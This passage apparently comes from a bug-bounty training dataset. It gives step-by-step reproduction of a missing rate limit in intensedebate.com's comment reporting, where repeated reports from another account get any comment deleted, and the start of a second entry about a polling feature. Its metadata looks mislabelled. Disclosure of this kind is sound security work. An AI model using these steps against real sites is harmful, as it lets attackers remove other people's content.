`https://intensedebate.com/install`, and follow the instructions (use generic install)\n3) After setup your site, go to `https://www.intensedebate.com/user-dashboard`, on click to `Moderate`.\n\n {F1106120}\n\n4) Go to the comment setting by clicking to `Comments`\n\n{F1106122}\n\n5) Setup the Report functionality by checked the `Enable \"Report this comment\" button` and set a number of reports before deleting the comment to `10` and save it\n\n{F1106130}\n\n6) Go to your site and add a comment\n7) With a other account go to your site, and report the comment manually x10 \n8) After spam the Report functionality\n9) Refresh the page, and you will see the comment is deleted", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "go", "chunk_type": "methodology", "entry_index": 45}}, {"doc_id": "bb_summary_45", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: [intensedebate.com] No Rate Limit On The report Functionality Lead To Delete Any Comment When it is enabled\n\nI have found a no rate limit issue on the report functionality.\nWhen you enabled the report functionality on your site, you can set a number of reports before deleting the comment reported.\nBy default, this functionality is unable, but if you enabled this and you set a $x number of reports before deleting the comment, an attacker can spamming this functionality and delete your comment.\n\nImpact: Delete any comment in any site when the report functionality is enabled", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "go", "chunk_type": "summary", "entry_index": 45}}, {"doc_id": "bb_method_46", "text": "1. As an attacker, go to the feedback section, then go to the Polling section.\n2. Add a new post or edit an existing post.\n3. Scroll down, click All Styles.\n4. Add a new Style.\n5. Named the temporary style, click Save Style.\n6. Change the Style Name with